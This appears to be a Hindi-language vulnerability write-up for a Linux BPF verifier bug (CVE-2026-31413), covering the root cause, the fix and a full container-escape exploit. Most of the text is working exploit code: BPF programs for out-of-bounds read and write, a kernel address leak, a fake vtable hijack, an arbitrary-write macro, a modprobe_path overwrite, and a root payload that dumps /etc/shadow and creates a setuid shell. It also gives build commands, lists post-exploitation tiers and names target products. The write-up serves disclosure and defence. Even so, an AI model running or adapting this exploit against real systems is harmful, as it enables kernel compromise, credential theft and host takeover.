
CVE-2026-31413: BPF वेरिफायर साउंडनेस बग - कंटेनर एस्केप
मुझे Linux BPF वेरिफायर में एक साउंडनेस बग मिला - एक push_stack() कॉल में + 1, जिसके कारण वेरिफायर फोर्क किए गए पथ पर एक ALU निर्देश को स्किप कर देता है। BPF_OR के लिए, इसका मतलब है कि वेरिफायर dst = 0 ट्रैक करता है जबकि CPU 0 | K = K की गणना करता है। मैंने एक पूर्ण कंटेनर एस्केप लिखा: BPF मैप से OOB रीड/राइट, vtable हाइजैक, modprobe_path ओवरराइट, होस्ट पर रूट। फिर मैंने दो-पैच श्रृंखला बनाई - एक-अक्षर वाला वेरिफायर फिक्स और 90 लाइनों के selftests - और इसे मुख्यलाइन (mainline) में मर्ज करवाया।
| CVE | CVE-2026-31413 |
| बग वर्ग | Verifier soundness - रजिस्टर मान विचलन |
| मूल कारण | push_stack(env, env->insn_idx + 1, ...) फोर्क किए गए पथ पर ALU निर्देश को स्किप करता है |
| प्रस्तुत | bffacdb80b93 - Linux 7.0-rc1 (Jan 14, 2026) |
| फिक्स्ड | c845894ebd6f - Linux 7.0-rc5 (Mar 22, 2026) |
| प्रभावित | 6.12.75+ (stable backport dea9989a3f) से 7.0-rc4 तक |
| प्रभाव | मनमाना kernel R/W → कंटेनर एस्केप → होस्ट रूट |
| आवश्यक | CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN |
| फिक्स | एक अक्षर: insn_idx + 1 → insn_idx |
maybe_fork_scalars() जब ARSH + AND/OR को किसी constant के साथ देखता है तो वेरिफायर स्थिति (state) को फोर्क करता है। पुश किए गए पथ को dst = 0 मिलता है और वह ALU निर्देश को स्किप कर देता है। AND के लिए यह ठीक है: 0 & K = 0। OR के लिए यह गलत है: 0 | K = K, न कि 0।
वेरिफायर सोचता है कि रजिस्टर शून्य है। CPU के पास K है। मैंने इसका उपयोग BPF मैप वैल्यू से मनमाना OOB रीड/राइट बनाने, मैप का कर्नेल पता लीक करने, एक नकली bpf_map_ops vtable बनाने, map_push_elem को array_map_get_next_key के माध्यम से मनमाने राइट के लिए रीडायरेक्ट करने, और modprobe_path को ओवरराइट करने के लिए किया। अज्ञात बाइनरी फॉर्मेट ट्रिगर करें, कर्नेल मेरी स्क्रिप्ट को रूट के रूप में चलाता है। कंटेनर में, पूर्ण होस्ट एस्केप।
दो-पैच श्रृंखला: एक-अक्षर वाला वेरिफायर फिक्स और 90 लाइनों के BPF selftests जो OR बनाम AND फोर्किंग को कवर करते हैं। 22 मार्च को Alexei Starovoitov द्वारा मर्ज किया गया। CVE-2026-31413 12 अप्रैल को Greg Kroah-Hartman द्वारा निर्धारित किया गया।
eBPF आपको कर्नेल में छोटे प्रोग्राम लोड करने देता है - पैकेट फिल्टर, ट्रेसिंग हुक, सुरक्षा नीतियां - बिना कर्नेल मॉड्यूल कंपाइल किए। पकड़ यह है कि आप ring 0 में कोड इंजेक्ट कर रहे हैं। अगर उस कोड में बग है, तो वह कर्नेल बग है।
इसलिए किसी भी BPF प्रोग्राम के चलने से पहले, कर्नेल का वेरिफायर हर संभव निष्पादन पथ का अनुकरण करता है। यह ट्रैक करता है कि प्रत्येक रजिस्टर में क्या है (एक पॉइंटर? एक स्केलर? कौन सी रेंज?), हर मेमोरी एक्सेस को मैप बाउंड्स के विरुद्ध जांचता है, और किसी भी चीज़ को अस्वीकार करता है जो बाउंड्स से बाहर पढ़ या लिख सकती है। यदि वेरिफायर कहता है कि प्रोग्राम सुरक्षित है, तो JIT इसे नेटिव मशीन कोड में कंपाइल करता है और पूर्ण कर्नेल विशेषाधिकार के साथ चलाता है। उस बिंदु के बाद कोई रनटाइम बाउंड्स जांच नहीं होती। वेरिफायर ही सुरक्षा सीमा है।
इसीलिए वेरिफायर साउंडनेस बग सामान्य मेमोरी करप्शन से अलग होते हैं। हीप ओवरफ्लो या UAF के साथ, आपको एक करप्शन प्रिमिटिव मिलता है और वहाँ से काम करना होता है - हीप स्प्रे करें, ऑब्जेक्ट्स को ग्रूम करें, एक विंडो के लिए रेस करें। वेरिफायर बग के साथ, आप कर्नेल को रजिस्टर के मान के बारे में झूठ पर विश्वास करवाते हैं। हर बाउंड्स जांच जो उस रजिस्टर पर निर्भर करती है, पास हो जाती है। कर्नेल ने आपकी OOB एक्सेस को मंजूरी दे दी। वह इसे बिना प्रश्न के चलाता है। यदि आप रजिस्टर स्थिति को सही ढंग से संरेखित कर सकते हैं, तो आपको इससे एक स्वच्छ और विश्वसनीय प्रिमिटिव मिलता है।
मैं maybe_fork_scalars() का ऑडिट कर रहा था - नया कोड, जनवरी 2026 में bffacdb80b93 में जोड़ा गया। स्टेट फोर्किंग हमेशा दिलचस्प होती है क्योंकि यहीं वेरिफायर समानांतर अन्वेषण पथों में विभाजित होता है, और यदि कोई पथ गलत मान ट्रैक करता है, तो उस पथ के नीचे की हर चीज़ असाउंड (unsound) होती है।
फ़ंक्शन तब फोर्क करता है जब वह किसी constant स्रोत के साथ ARSH + AND/OR देखता है। पुश किए गए पथ को dst = 0 मिलता है, और वह ALU निर्देश को स्किप कर देता है। मैं push_stack(env, env->insn_idx + 1, ...) लाइन पढ़ रहा था और यह तुरंत समझ में आ गया - + 1 का मतलब है कि पुश किया गया पथ ALU ऑप को कभी निष्पादित नहीं करता। AND के लिए, 0 & K = 0, इसलिए स्किप करना ठीक है। OR के लिए, 0 | K = K। पुश किए गए पथ को लगता है कि परिणाम 0 है जबकि वास्तव में यह K है।
मैंने उसी शाम एक BPF प्रोग्राम लिखा। {0, -1} पाने के लिए ARSH 63, एक constant के साथ OR, वेरिफायर पथों को अलग करने के लिए सशर्त शाखा, फिर "शून्य" रजिस्टर को एक मैप पॉइंटर में जोड़ा। वेरिफायर ने map_value + 0 को मंजूरी दी। CPU ने map_value + K तक पहुँच बनाई। KASAN ने परीक्षण में आउट-ऑफ-बाउंड्स एक्सेस की पुष्टि की।
अगली सुबह तक OOB रीड/राइट। अगली रात तक कंटेनर एस्केप। मैंने पूरे समय Claude (Opus 4.5) का उपयोग किया - वेरिफायर की स्टेट फोर्किंग लॉजिक को समझने, एक्सप्लॉइटेशन प्रिमिटिव्स पर विचार-मंथन करने, और OOB को पूर्ण एस्केप चेन में बदलने के लिए। vtable हाइजैक दृष्टिकोण एक विचार-विमर्श से उभरा, जिसमें Claude ने bpf_map_ops फंक्शन पॉइंटर्स की समीक्षा की, कॉल करने योग्य गैजेट्स की तलाश में।
कमिट bffacdb80b93 ("bpf: Recognize special arithmetic shift in the verifier") 14 जनवरी, 2026 को 7.0-rc1 में आया। Alexei Starovoitov, Puranjay Mohan द्वारा सह-विकसित। इसने एक LLVM DAGCombiner पैटर्न को संभालने के लिए maybe_fork_scalars() जोड़ा:```
w2 s>>= 31 // arithmetic shift right: w2 becomes 0 or -1
w2 &= -134 // AND with constant K
LLVM `select_cc setlt X, 0, A, 0` को `sra + and` में बदलता है। अंकगणितीय
दायाँ शिफ्ट के बाद, रजिस्टर या तो `0` (गैर-ऋणात्मक इनपुट) या `-1` (सभी एक) होता है।
एक स्थिरांक के साथ AND देता है `0` या `K`।
वेरिफायर एकल `bpf_reg_state` में `{0, K}` को ट्रैक नहीं कर सकता - इसकी साइन्ड रेंज
`[0, K]` अति-अनुमानित करती है, और इसी कारण यह मान्य Cilium
प्रोग्रामों को अस्वीकार कर रहा था। समाधान: वेरिफायर स्थिति को फोर्क करें। एक पथ `dst = 0` का अन्वेषण करता है, दूसरा
`dst = -1`, प्रत्येक सटीक मान का ट्रैक रखता है।
कार्यान्वयन:```c
static int maybe_fork_scalars(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg)
{
// ... condition check: dst range is [-1, 0], src is constant ...
branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
// ^^^^^^^^^^^^
// pushed path resumes AFTER the ALU insn
if (IS_ERR(branch))
return PTR_ERR(branch);
regs = branch->frame[branch->curframe]->regs;
__mark_reg_known(®s[insn->dst_reg], 0); // pushed: dst = 0
__mark_reg_known(dst_reg, -1ull); // current: dst = -1
return 0;
}
पुश किए गए पथ पर दो चीज़ें होती हैं:
0 पर सेट हो जाता हैinsn_idx + 1 पर फिर से शुरू होता है - ALU op के बाद वाला निर्देशBPF_AND के लिए: dst = 0, AND को छोड़ें। रनटाइम: 0 & K = 0। मेल खाता है। सुदृढ़।
BPF_OR के लिए: dst = 0, OR को छोड़ें। रनटाइम: 0 | K = K। बेमेल।
वेरिफ़ायर 0 देखता है। CPU के पास K है। असुदृढ़।
फ़ंक्शन opcode की जाँच नहीं करता। इसे AND के लिए लिखा गया था - जहाँ निर्देश
को छोड़ना उसे dst = 0 के साथ निष्पादित करने के समान है - और इसे
OR पर भी लागू कर दिया गया। OR के लिए, यह समतुल्यता मान्य नहीं है।
ट्रिगर पैटर्न पाँच निर्देशों का है:``` r6 = (u64)(map_value + 0) // load a positive value (guaranteed by map init) r6 s>>= 63 // arithmetic shift: r6 = 0 (positive input) r6 |= K // BUG: verifier forks, pushed path gets r6=0 if r6 s< 0 goto exit // steers verifier paths r9 += r6 // verifier: r9 += 0 (in-bounds) // runtime: r9 += K (OOB)
वेरिफायर दो पथों का अन्वेषण करता है:
**वर्तमान पथ** (`dst = -1`): OR निष्पादित होता है, `-1 | K` अभी भी `-1` है। ब्रांच `r6 s< 0` ली जाती है। वेरिफायर exit का अनुसरण करता है। यह पथ सुरक्षित है और वेरिफायर इसकी पुष्टि करता है।
**पुश किया गया पथ** (`dst = 0`, OR छोड़ा गया): `r6 = 0`। ब्रांच `r6 s< 0` नहीं ली जाती। वेरिफायर `r9 += r6` तक आगे बढ़ता है, `r9 += 0` देखता है, और बाद के मेमोरी एक्सेस को in-bounds के रूप में अनुमोदित करता है।
**रनटाइम** (`dst = 0`, OR निष्पादित होता है): मैप वैल्यू धनात्मक है, इसलिए ARSH के बाद, `r6 = 0`। OR निष्पादित होता है: `0 | K = K`। ब्रांच `K s< 0` नहीं ली जाती (K धनात्मक है)। `r9 += K` - `K` बाइट्स द्वारा एक out-of-bounds एक्सेस, जिसे वेरिफायर `r9 += 0` के रूप में अनुमोदित करता है।
मैं `K` को नियंत्रित करता हूँ। किसी भी BPF मैप वैल्यू के सापेक्ष, मनमाना-ऑफसेट OOB रीड या राइट।
रीड वर्जन लीक हुए डेटा को userspace पुनर्प्राप्ति के लिए दूसरे मैप में संग्रहीत करता है। राइट वर्जन तीसरे मैप से एक वैल्यू लोड करता है और उसे OOB ऑफसेट पर लिखता है। दोनों वेरिफायर से पास हो जाते हैं।
यह रहा पूरा `oob_read_prog` - यह एक्सप्लॉइट का वास्तविक कोड है, स्यूडोकोड नहीं:```c
static int oob_read_prog(int map_fd, int dst_fd, int offset)
{
int K = -offset;
struct bpf_insn insn[] = {
/* look up map_fd[0] → R0 = pointer to value, load seed into R6 */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), /* map_lookup_elem */
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_LDX_MEM(BPF_DW, R6, R0, 0), /* R6 = seed (positive) */
/* look up dst_fd[0] → R9 = pointer to output buffer */
BPF_LD_MAP_FD(R1, dst_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R9, R0),
/* look up map_fd[0] again → R8 = base pointer for OOB access */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R8, R0),
/* === THE BUG === */
BPF_ALU64_IMM(BPF_ARSH, R6, 63), /* R6 = 0 (positive seed) */
BPF_ALU64_IMM(BPF_OR, R6, K), /* verifier: R6=0, runtime: R6=K */
BPF_MOV64_IMM(R7, 0),
BPF_ALU64_REG(BPF_SUB, R7, R6), /* R7 = -K = offset */
BPF_ALU64_REG(BPF_ADD, R8, R7), /* R8 = map_value + offset (OOB) */
BPF_LDX_MEM(BPF_DW, R0, R8, 0), /* OOB read: 8 bytes */
BPF_STX_MEM(BPF_DW, R9, R0, 0), /* store to output map */
BPF_MOV64_IMM(R0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}
और OOB write - वही ARSH+OR ट्रिक, लेकिन तीसरे map से एक value को OOB ऑफ़सेट में लिखता है:```c static int oob_write_prog(int map_fd, int val_fd, int offset) { int K = -offset; struct bpf_insn insn[] = { /* look up map_fd[0], load seed, trigger the bug / BPF_LD_MAP_FD(R1, map_fd), BPF_ST_MEM(BPF_W, R10, -4, 0), BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4), BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), BPF_JMP_IMM(BPF_JEQ, R0, 0, 20), BPF_MOV64_REG(R9, R0), BPF_LDX_MEM(BPF_DW, R6, R9, 0), / R6 = seed */
BPF_ALU64_IMM(BPF_ARSH, R6, 63), /* R6 = 0 */
BPF_ALU64_IMM(BPF_OR, R6, K), /* R6 = K (verifier: 0) */
BPF_JMP_IMM(BPF_JSLT, R6, 0, 13), /* skip if negative (verifier path) */
BPF_MOV64_IMM(R7, 0),
BPF_ALU64_REG(BPF_SUB, R7, R6), /* R7 = -K */
BPF_ALU64_REG(BPF_ADD, R9, R7), /* R9 = OOB target */
/* look up val_fd[0] → R8 = value to write */
BPF_LD_MAP_FD(R1, val_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JEQ, R0, 0, 4),
BPF_LDX_MEM(BPF_DW, R8, R0, 0), /* R8 = write value */
BPF_STX_MEM(BPF_DW, R9, R8, 0), /* OOB write */
BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 2),
BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}
किसी भी प्रोग्राम को ट्रिगर करने के लिए, मैं इसे एक सॉकेट पेयर से जोड़ता हूँ और एक पैकेट पुश करता हूँ:```c
static int trigger_bpf_prog(int prog_fd)
{
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0) return -1;
setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd));
char buf[64] = "x";
write(socks[1], buf, sizeof(buf));
struct timeval tv = { .tv_sec = 1 };
setsockopt(socks[0], SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
read(socks[0], buf, sizeof(buf));
close(socks[0]); close(socks[1]);
return 0;
}
नकार-और-जोड़ पैटर्न (R7 = 0 - R6; R8 += R7) हमें मैप वैल्यू से नकारात्मक
ऑफसेट तक पहुँचने देता है - जहाँ मैप का अपना मेटाडेटा रहता है।
पूरी चेन:``` BPF_OR divergence (verifier: dst=0, runtime: dst=K) │ ▼ Arbitrary OOB read/write relative to map value │ ├── Read offset -136 → leak freeze_mutex.wait_list → map kernel address ├── Read offset -264 → leak ops vtable → confirm array_map_ops │ ▼ Build fake bpf_map_ops vtable in map value (42 slots from kallsyms) → slot 15 (map_push_elem) = array_map_get_next_key │ ▼ Corrupt map header via OOB writes → ops → fake vtable → map_type → BPF_MAP_TYPE_QUEUE (22) → max_entries → 0xFFFFFFFF │ ▼ bpf(BPF_MAP_UPDATE_ELEM) dispatches through map_push_elem → array_map_get_next_key(map, value, flags) → writes (u32)value + 1 to (u32)flags → flags = attacker-controlled kernel address │ ▼ Overwrite modprobe_path → "/tmpn/mo" │ ▼ Exec unknown binary format → kernel runs /tmpn/mo as root │ ▼ Restore map header → clean exit
### लक्ष्य लेआउट
एक `BPF_MAP_TYPE_ARRAY` `struct bpf_array` द्वारा समर्थित होता है, जो एम्बेड करता है
`struct bpf_map` ऑफसेट 0 पर। वास्तविक मैप मान ऑफसेट 264 पर शुरू होते हैं (
`bpf_array` हेडर + संरेखण के बाद)। इसलिए `value[0]` से, मैप का अपना मेटाडेटा
ज्ञात नकारात्मक ऑफसेट पर स्थित होता है:```
struct bpf_map (embedded in bpf_array)
┌────────────────────────────────────────┐
offset from val[0] │ │
-264 │ ops (struct bpf_map_ops *) │ ← vtable pointer
-240 │ map_type (u32) │
-236 │ key_size (u32) │
-232 │ value_size (u32) │
-228 │ max_entries (u32) │
│ ... │
-136 │ freeze_mutex.wait_list │ ← points back into struct
│ ... │
0 │ value[0] ← our OOB origin │
└────────────────────────────────────────┘
मैंने इन्हें 6.12.76-docker vmlinux पर pahole से सत्यापित किया। परीक्षण किए गए
कर्नेल पर, ऑफसेट बिल्कुल मेल खाते थे।
दो OOB रीड मुझे वह सब कुछ देते हैं जो मुझे चाहिए:
wait_list ऑफसेट -136 पर। यह freeze_mutex.wait_list है, एक
list_head जो म्यूटेक्स पर कोई प्रतिस्पर्धा नहीं होने पर स्वयं की ओर इंगित करता है। इसका मान
&map->freeze_mutex.wait_list है - मैप संरचना में एक कर्नेल पॉइंटर।
128 घटाएँ और मेरे पास मैप का आधार पता आ जाता है। 264 जोड़ें और मेरे पास
value[0] का कर्नेल पता आ जाता है।
ops ऑफसेट -264 पर। यह bpf_map_ops vtable पॉइंटर है। एक
असंशोधित कर्नेल पर यह ग्लोबल array_map_ops प्रतीक की ओर इंगित करता है। मैं इसे पढ़ता हूँ ताकि
यह पुष्टि हो सके कि कर्नेल पैच नहीं है और क्लोनिंग के लिए vtable पता प्राप्त हो सके।```c
uint64_t wait_list = do_oob_read(victim, scratch, OFF_WAIT_LIST);
uint64_t map_addr = wait_list - 128;
uint64_t val_addr = map_addr + 264;
uint64_t ops = do_oob_read(victim, scratch, OFF_OPS); if (ops != ARRAY_MAP_OPS) { fprintf(stderr, "[-] ops mismatch! Kernel might be patched.\n"); return 1; }
इस बिंदु पर मेरे पास है: मैप का कर्नेल पता, मेरे नियंत्रित डेटा का पता (`value[0]`), और पुष्टि किया गया vtable पॉइंटर।
### चरण 2: नकली Vtable
`bpf_map_ops` में 42 फ़ंक्शन पॉइंटर स्लॉट हैं। अगर मैं केवल उन्हें शून्य कर दूं जिनकी मुझे आवश्यकता नहीं है, तो कर्नेल पहली बार उनमें से किसी को छूते ही NULL-deref कर देगा। इसलिए मैं `/proc/kallsyms` से हर प्रतीक (symbol) को हल करता हूं और एक पूरी प्रति बनाता हूं:```c
uint64_t *vt = (uint64_t *)(val + 8); // offset 8 in value (slot 0 is seed)
vt[ 0] = sym_alloc_check; // map_alloc_check
vt[ 1] = sym_alloc; // map_alloc
vt[ 2] = 0; // map_release (unused path)
vt[ 3] = sym_free; // map_free
vt[ 4] = sym_get_next_key; // map_get_next_key
// ...
vt[12] = sym_lookup_elem; // map_lookup_elem
vt[13] = sym_update_elem; // map_update_elem
vt[14] = sym_delete_elem; // map_delete_elem
vt[15] = ARRAY_GET_NEXT_KEY; // map_push_elem ← THE HIJACK
// ...
vt[40] = sym_mem_usage; // map_mem_usage
स्लॉट 15 map_push_elem है। वास्तविक array_map_ops में यह NULL है (arrays push का समर्थन नहीं करते)। मैं इसे array_map_get_next_key से बदलता हूँ।
क्यों get_next_key? इसका सिग्नेचर है:```c
int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
यह `*(u32 *)key` पढ़ता है, इसे बढ़ाता है, और परिणाम को `*(u32
*)next_key` में लिखता है। जब `map_push_elem` डिस्पैच पथ के माध्यम से कॉल किया जाता है:```c
int bpf_map_push_elem(struct bpf_map *map, void *value, u64 flags)
→ map->ops->map_push_elem(map, value, flags)
The flags argument lands in the next_key parameter. If I control flags, I
control the write destination. The value written is *(u32 *)value + 1 - a
small integer I can predict by setting the first 4 bytes of my push buffer.
Before I can use the fake vtable, I need to redirect the map to it and change
its type so the kernel dispatches through map_push_elem. Three OOB writes,
executed in order:```c
// Point ops at my fake vtable (lives at val_addr + 8)
exec_oob_write(prog_wr_ops, scratch, val_addr + 8);
// Disable max_entries bounds check exec_oob_write(prog_wr_max, scratch, 0xFFFFFFFFULL);
// Change map_type to BPF_MAP_TYPE_QUEUE (22) exec_oob_write(prog_wr_type, scratch, 22ULL);
प्रकार परिवर्तन महत्वपूर्ण है। जब userspace किसी array map पर `bpf(BPF_MAP_UPDATE_ELEM)` कॉल करता है, तो kernel `map_update_elem` के माध्यम से dispatch करता है। लेकिन queue map पर, वही syscall `map_push_elem` के माध्यम से dispatch करता है - जो अब `array_map_get_next_key` की ओर इंगित करता है।
मैं कुछ भी corrupt करने से *पहले* सभी छह BPF प्रोग्राम (तीन writes + तीन restores) pre-load करता हूँ। एक बार जब मैं `ops` pointer को corrupt कर देता हूँ, तो मैं इस map को reference करने वाले नए BPF प्रोग्राम load नहीं कर सकता - verifier fake vtable का अनुसरण करके crash कर देगा। सब कुछ पहले से staged होना चाहिए।
### चरण 4: map_push_elem के माध्यम से मनमाना लेखन (Arbitrary Write)
अब मैं किसी भी kernel address पर 4 बाइट्स लिख सकता हूँ:```c
#define ARB_WRITE32(addr, val32) do { \
uint32_t _v = (val32); \
uint32_t _pv = _v - 1; \
memset(push_buf, 0, sizeof(push_buf)); \
memcpy(push_buf, &_pv, 4); \
map_push(victim, push_buf, (addr)); \
} while(0)
map_push() bpf(BPF_MAP_UPDATE_ELEM) को flags = addr के साथ कॉल करता है। कर्नेल
मेरे अपहृत map_push_elem → array_map_get_next_key(map, push_buf, addr) पर डिस्पैच करता है। यह *(u32 *)push_buf पढ़ता है (जो val - 1 है), 1 जोड़ता है, और
val को *(u32 *)addr में लिखता है।
यह राइट प्रिमिटिव get_next_key के माध्यम से एक 4-बाइट u32 स्टोर है। कोई
alignment बाधाएँ नहीं हैं - कर्नेल हमारे द्वारा आपूर्ति किए गए किसी भी पते पर एक सामान्य *(u32 *)addr = val करता है।
modprobe_path कर्नेल में एक वैश्विक char[256] है, डिफ़ॉल्ट /sbin/modprobe।
जब कर्नेल को अज्ञात मैजिक नंबर वाली एक executable मिलती है, तो यह उपयुक्त मॉड्यूल लोड करने के लिए
modprobe_path को root के रूप में आमंत्रित करता है। इसे मेरे नियंत्रण वाले पथ से अधिलेखित करें,
एक अज्ञात बाइनरी प्रारूप ट्रिगर करें, और कर्नेल मेरी स्क्रिप्ट को root के रूप में चलाता है।
लक्ष्य पथ /tmpn/mo है। मैं मनमाना स्ट्रिंग नहीं लिख सकता - मैं get_next_key के पूर्णांक वृद्धि के माध्यम से
एक बार में 4 बाइट लिखता हूँ। लेकिन मुझे केवल दो लिखने की आवश्यकता है:```c
// Original: "/sbin/modprobe\0"
// Write "/tmp" at offset 0:
ARB_WRITE32(MODPROBE_PATH + 0, 0x706d742fU); // "/tmp" little-endian
// Write "\0\0\0\0" at offset 8 (null-terminate):
ARB_WRITE32(MODPROBE_PATH + 8, 0x00000000U);
// Bytes 4-7 are untouched: "n/mo" from original "/sbin/modprobe"
// Result: "/tmpn/mo\0"
कंटेनर मोड में, `modprobe_path` init माउंट नेमस्पेस में resolve होता है - कंटेनर के नहीं। इसलिए payload script को host पर `/tmpn/mo` पर मौजूद होना चाहिए। `--pid=host` या साझा PID नेमस्पेस के साथ, मैं `/proc/1/root/` के माध्यम से host filesystem तक पहुँचता हूँ:```c
snprintf(payload_script, sizeof(payload_script), "/proc/1/root/tmpn/mo");
वास्तविक हमले में, एक्सप्लॉइट होस्ट पर /tmpn/mo में पेलोड लिखता है,
/proc/1/root/tmpn/mo के माध्यम से (यह तब पहुंच योग्य होता है जब पॉड में साझा PID नेमस्पेस होता है, जैसा
कि सर्विस-मेश साइडकार्स जैसे Cilium और मॉनिटरिंग एजेंट जैसे
Falco के लिए मानक है)। डेमो इस चरण को सरल बनाता है: ऑर्केस्ट्रेटर पेलोड को पहले से स्टेज करता है
होस्ट पर, इसलिए एक्सप्लॉइट को केवल निष्पादन ट्रिगर करने की आवश्यकता होती है।
एक्सप्लॉइट ट्रिगर बाइनरी बनाता है - \xff के 4 बाइट्स - और इसे निष्पादित करता है।
कर्नेल फॉर्मेट को नहीं पहचानता, modprobe_path देखता है,
/tmpn/mo पाता है, और इसे रूट के रूप में चलाता है।
पेलोड:```sh #!/bin/sh id > /tmp/pwned cat /etc/shadow >> /tmp/pwned 2>/dev/null cp /bin/sh /tmp/pwn 2>/dev/null && chmod 04755 /tmp/pwn 2>/dev/null
### चरण 6: सफाई (Cleanup)
`modprobe_path` लिखने के बाद, मैं पहले से लोड किए गए तीन रिस्टोर प्रोग्रामों का उपयोग करके मैप हेडर - type, max_entries, ops - को पुनर्स्थापित करता हूँ। मैप फिर से एक सामान्य array बन जाता है। कोई ढीला (dangling) नकली vtable नहीं, कोई कर्नेल अस्थिरता नहीं। यह एक्सप्लॉइट single-shot है और एक साफ स्थिति छोड़ता है।```c
exec_oob_write(prog_rst_type, scratch, orig_type_key);
exec_oob_write(prog_rst_max, scratch, orig_max);
exec_oob_write(prog_rst_ops, scratch, orig_ops);
In my demo environment, the full chain from first OOB read to root shell took a couple of seconds.
Beyond the core container escape, I built a series of standalone exploit tiers
that demonstrate different post-exploitation capabilities from the same
primitive. Each tier is a self-contained C file in exploit/ that uses the
shared exploit_common.h helper library for the ARSH+OR OOB read/write setup.
All tiers restore every modification before exiting. Tested on 6.12.76.
make # builds everything (PoCs + exploits + tiers) make setcaps # sets required capabilities on all binaries
या अलग-अलग से:```bash
gcc -O2 -Wall -static -I. -o exploit/tier2_cred_overwrite exploit/tier2_cred_overwrite.c
sudo setcap cap_bpf,cap_perfmon,cap_net_admin,cap_syslog+ep exploit/tier2_cred_overwrite
प्रत्येक टियर को CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN + CAP_SYSLOG की आवश्यकता होती है।
├── exploit/ │ ├── exploit_common.h # Shared primitives (OOB R/W, arb R/W, ksym) │ ├── exploit.c # Core container escape (modprobe_path) │ ├── exploit_gke.c # GKE/kCTF variant (v1: vtable hijack + modprobe_path) │ ├── exploit_gke_v2.c # v2: data-only cred overwrite (recommended) │ └── tier2-10_.c # Post-exploitation tiers (see table above) ├── poc/ │ ├── validate_bug.c # Minimal verifier bug trigger │ ├── test_oob.c # OOB access proof │ ├── leak_map_addr.c # Map address leak │ └── step1-3_.c # Incremental exploit development ├── patches/ │ └── *.patch # Fix + selftests (v3) ├── demo/ │ ├── container_escape_demo.mp4 # Full demo video │ ├── Dockerfile # Vulnerable container │ └── demo_escape.sh # Demo orchestrator ├── bpf_helpers.h # BPF syscall wrappers └── Makefile
---
## कौन प्रभावित है
इस एक्सप्लॉइट के लिए `CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN` की आवश्यकता होती है। आपको यह एक अनप्रिविलेज्ड कंटेनर या कड़े (hardened) सिस्टम पर सामान्य उपयोगकर्ता खाते से नहीं मिलेगा। लेकिन ऐसे कई संदर्भ हैं जहाँ आपके पास ये caps होते हैं।
### अनप्रिविलेज्ड BPF सिस्टम
यदि `kernel.unprivileged_bpf_disabled=0` है (`sysctl` से जाँचें), तो कोई भी स्थानीय उपयोगकर्ता BPF प्रोग्राम लोड कर सकता है। पुराने डिस्ट्रोस पर यह डिफ़ॉल्ट हुआ करता था और कभी-कभी dev/test वातावरणों के लिए सक्षम किया जाता है। उन सिस्टमों पर, यह सीधा स्थानीय विशेषाधिकार वृद्धि (local privilege escalation) है - किसी भी उपयोगकर्ता से root, बिना किसी विशेष अनुमति के।
अधिकांश आधुनिक डिस्ट्रोस `unprivileged_bpf_disabled=1` या `=2` (लॉक्ड) के साथ आते हैं, इसलिए Ubuntu 22.04+, Debian 12+, Fedora, RHEL 9, आदि के डिफ़ॉल्ट इंस्टॉल पर यह मार्ग बंद रहता है।
### Kubernetes / कंटेनर वातावरण
यहीं यह बग नुकसान पहुँचाता है। मानक अनप्रिविलेज्ड कंटेनर `CAP_BPF` को हटा देते हैं, इसलिए वे इस बग को ट्रिगर नहीं कर सकते। लेकिन बहुत सारे इंफ्रास्ट्रक्चर पॉड्स उन्नत caps के साथ चलते हैं:
| Product | Default Privileges | Notes |
|---------|-------------------|-------|
| **Cilium** (GKE Dataplane V2) | `CAP_SYS_ADMIN` + `CAP_NET_ADMIN` | नेटवर्क पॉलिसी, हर नोड पर चलता है |
| **Falco** | `privileged: true` | रनटाइम सुरक्षा, /dev माउंट करता है |
| **Tetragon** | `privileged: true` | eBPF ऑब्ज़र्वेबिलिटी |
| **Datadog Agent** | `CAP_SYS_ADMIN` + 7 more | मेट्रिक्स, लॉग्स, APM |
| **Pixie** | `privileged: true` | eBPF-आधारित ऑब्ज़र्वेबिलिटी |
| **Tracee** | `privileged: true` or BPF caps | Aqua की रनटाइम सुरक्षा |
